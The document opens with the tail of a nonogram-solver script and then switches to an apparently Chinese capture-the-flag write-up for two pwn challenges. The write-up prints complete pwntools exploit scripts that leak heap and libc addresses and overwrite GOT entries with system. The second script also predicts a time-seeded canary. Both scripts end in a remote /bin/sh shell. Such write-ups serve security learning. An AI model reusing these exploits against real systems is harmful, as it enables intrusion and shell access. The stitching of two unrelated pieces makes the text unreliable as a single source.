#test_rows = [[7, 1, 2, 2, 7], [1, 1, 1, 5, 1, 1], [1, 3, 1, 1, 3, 1, 1, 3, 1], [1, 3, 1, 2, 1, 3, 1], [1, 3, 1, 3, 1, 1, 3, 1], [1, 1, 3, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 2, 4], [2, 2, 1, 1, 3, 1, 1], [2, 3, 1, 2, 1, 1, 1, 2], [10, 1, 2, 2, 3], [1, 1 , 1, 1, 3, 3], [1, 5, 2, 1, 7], [1, 2, 1, 1, 1, 1, 1, 2], [3, 1, 1, 4, 2, 1], [1, 1, 2, 1, 5, 1, 1, 2], [1, 1, 1, 1, 3, 1, 7, 1], [1, 1, 2, 1, 1, 1], [7, 3, 2, 1, 1, 1], [1, 1, 1, 2, 2, 2], [1, 3, 1, 1, 2, 8, 1, 1], [1, 3, 1, 1, 1, 2, 1, 1, 1], [1, 3, 1, 2, 2, 1, 3, 2], [1, 1, 4, 1, 2, 1, 3], [7, 1, 2, 2, 1, 1, 3, 1]]
test_cols = [[7,2, 1, 1, 7], [1, 1, 1, 1, 1, 1, 1, 1], [1, 3, 1, 1, 2, 1, 1, 3, 1], [1, 3, 1, 1, 3, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 1, 2, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 1, 1, 2], [4, 2, 1, 2, 1, 1, 2, 2], [2, 1, 1, 1, 1, 2, 1, 2, 1, 1], [3, 2, 1, 2, 4, 1], [2, 1, 4, 1, 1, 1, 1, 1], [1, 1, 5, 6, 3, 2], [2, 1, 1, 1, 1, 5, 1, 2], [5, 1, 7, 4, 2], [1, 3, 1, 3, 1], [1, 2, 1, 2, 8, 2], [3, 1, 2, 3, 1], [7, 1, 2, 1, 1, 2, 1], [1, 1, 5, 3, 1, 1], [1, 3, 1, 1, 8, 1], [1, 3, 1, 5, 3, 1, 2], [1, 3, 1, 1, 3, 3, 2, 3], [1, 1, 1, 1, 2, 2, 3], [7, 1, 2, 2, 1, 1]]
test_rows = [[7, 2, 1, 1, 7], [1, 1, 4, 4, 1, 1], [1, 3, 1, 1, 5, 1, 3, 1], [1, 3, 1, 3, 1, 1, 1, 3, 1], [1, 3, 1, 2, 1, 1, 1, 3, 1], [1, 1, 3, 2, 1, 1], [7, 1, 1, 1, 1, 1, 7], [1, 3], [2, 3, 3, 1, 1, 4], [1, 3, 2, 1, 1, 6], [2, 1, 1, 1, 5, 1, 2], [1, 2, 2, 1, 1, 4], [2, 1, 1, 6, 2, 2, 1], [5, 3, 1, 1, 3, 1, 1], [1, 1, 1, 5, 2, 2], [2, 2, 2, 2, 4, 1], [3, 3, 5, 7, 1], [3, 3, 1, 2, 1], [7, 2, 4, 1, 1, 1], [1, 1, 3, 1, 3, 1, 1], [1, 3, 1, 2, 3, 6, 1], [1, 3, 1, 1, 1, 1, 2, 1, 1], [1, 3, 1, 1, 1, 2, 2], [1, 1, 1, 2, 2, 2, 3], [7, 2, 3, 1, 5]]
go(test_cols,test_rows)
# remove duplicates with
# fdupes -rdN .
# turn it into a gif with
# convert -delay 10 -loop 0 nonogram*.png anim.gif
Crypto&Exploit400(Pwn-1)
用IDA分析程序,发现程序内部自己实现了一个内存管理系统。和LIBC的堆有些相似,连续申请的内存会在相邻的地址。
经过分析,发现漏洞出在Update与Query的时候,可以越过数组界限读写4个字节,于是修改相邻数组的开头(开头为数组包含数字总和),可以达到任意写的效果。
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
local = False
if local:
io = process('./pwn1')
else:
atoi_offset = 0x2D8E0
system_offset = 0x3BC90
io = remote('pwn.lab.seclover.com',11111)
def r_sort(io,numbers):
io.recvuntil('$ ')
io.sendline('sort')
io.recvuntil(':')
io.sendline(str(len(numbers)))
for i in numbers:
io.recvuntil(':')
io.sendline(str(i))
def main():
# leak heap base
r_sort(io,[1])
print io.recvuntil('Choose:')
io.sendline('3')
print io.recvuntil('Choose:')
io.sendline('1')
print io.recvuntil('index:')
io.sendline('1')
io.recvuntil('result: ')
heap_base = int(io.recvline()[:-1])
log.success('Heap Base = ' + hex(heap_base))
io.recvuntil('Choose:')
io.sendline('7')
io.recvuntil('$ ')
io.sendline('clear')
# now:
# [8|8|xxxxxx]
r_sort(io,[1,2,3])
io.recvuntil('Choose:')
io.sendline('3')
io.recvuntil('Choose:')
io.sendline('7')
r_sort(io,[1,2,3,4,5,6,7])
io.recvuntil('Choose:')
io.sendline('3')
io.recvuntil('Choose:')
io.sendline('7')
io.recvuntil('$ ')
io.sendline('clear')
r_sort(io,[1,2,3,4,5,6,7])
io.recvuntil('Choose:')
io.sendline('3')
io.recvuntil('Choose:')
io.sendline('7')
r_sort(io,[1,2,3])
io.recvuntil('Choose:')
io.sendline('2')
io.recvuntil(':')
io.sendline('3')
io.recvuntil(':')
io.sendline('1073741832')
io.recvuntil('Choose:')
io.sendline('7')
io.recvuntil('$ ')
io.sendline('reload')
io.recvuntil(':')
io.sendline('0')
addr = heap_base + 0x40
atoi_plt = c_uint32(0x804d020)
atoi_plt.value -= addr
atoi_plt.value /= 4
atoi_plt.value -= 1
log.success('Index = '+str(atoi_plt.value))
io.recvuntil('Choose:')
io.sendline('1')
io.recvuntil('index:')
io.sendline(str(atoi_plt.value))
io.recvuntil('result: ')
atoi_addr = c_uint32(int(io.recvline()[:-1]))
log.success('Atoi addr = ' + hex(atoi_addr.value))
libc_addr = atoi_addr.value - atoi_offset
log.success('Libc addr = ' + hex(libc_addr))
system_addr = c_int32(libc_addr + system_offset)
io.recvuntil('Choose:')
io.sendline('2')
io.recvuntil(':')
io.sendline(str(atoi_plt.value))
io.recvuntil(':')
io.sendline(str(system_addr.value))
io.recvuntil('Choose:')
io.sendline('/bin/sh')
#raw_input('attach!')
io.interactive()
return 0
if __name__ == '__main__':
main()
效果:
Crypto&Exploit600(Pwn-2)
这道题目是pwn 400 的延伸,程序在分配数组时多分配了一个dword用作canary以防止我们修改数组长度。canary是以time(0)作seed产生的伪随机数,又因为两道题目运行在同一个服务器上,所以我想到了和服务器同步时间以得到canary。利用pwn400的脚本将系统时间同步,然后利用和pwn400相似的方法即可get shell,拿到flag。
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
def r_sort(io,numbers):
io.recvuntil('$ ')
io.sendline('sort')
io.recvuntil(':')
io.sendline(str(len(numbers)))
for i in numbers:
io.recvuntil(':')
io.sendline(str(i))
def get_random(delta=0):
libc = CDLL('libc.so.6')
seed = libc.time(0) + delta
libc.srand(seed)
return c_uint32(libc.rand())
def main():
delta = 0
while 1:
local = False
if local:
io = process('./pwn2')
random = get_random(delta)
strtol_offset = 0x305B0
atoi_offset = 0x2D8E0
system_offset = 0x30240
else:
io = remote('pwn.lab.seclover.com',22222)
random = get_random(delta)
strtol_offset = 0x305B0
atoi_offset = 0x2D8E0
system_offset = 0x3BC90
log.info('Random = ' + str(random))
canary = c_int32(0x40000008^random.value).value
if canary < 0x40000008:
log.info('Canary Less than Length! Retry')
io.close()
continue
r_sort(io,[0x40000008,canary,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff])
io.recvuntil('Choose:')
io.sendline('3')
io.recvuntil('Choose:')
io.sendline('1')
io.recvuntil('index:')
io.sendline('6')
io.recvuntil('result: ')
heap_base = int(io.recvline()[:-1])
log.success('Heap Base = ' + hex(heap_base))
fake_array = heap_base + 8
io.recvuntil('Choose:')
io.sendline('2')
io.recvuntil(':')
io.sendline('6')
io.recvuntil(':')
io.sendline(str(fake_array))
io.recvuntil('Choose:')
io.sendline('7')
io.recvuntil('$ ')
io.sendline('reload')
io.recvuntil(':')
io.sendline('0')
#raw_input('Attach now!')
io.recvuntil('Choose:')
io.sendline('1')
io.recvuntil(':')
io.sendline('0')
io.recv(9999)
result = io.recv(9999)
print result
if 'Overwrite' not in result:
log.success("Delta found !" + str(delta))
# calc index
strtol_got = 0x0804C01C
index = c_uint32(c_uint32(strtol_got-(fake_array+8)).value/4).value-8
log.info("Index " + str(index))
io.sendline('1')
print io.recvuntil(':')
io.sendline(str(index))
print io.recvuntil('result: ')
strtol_addr = c_uint32(int(io.recvline()[:-1]))
log.success('strtol addr = ' + hex(strtol_addr.value))
#raw_input("attach!")
libc_addr = strtol_addr.value - strtol_offset
log.success('Libc addr = ' + hex(libc_addr))
system_addr = libc_addr + system_offset
io.sendline('2')
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(c_int32(system_addr).value))
io.recvuntil('Choose:')
io.sendline('/bin/sh')
io.interactive()
exit(0)
#io.interactive()
io.close()
return 0
if __name__ == '__main__':
main()
效果:
注:其实我觉得我的解法挺猥琐的…不知道是不是这道题目的正解,不过解出来就好…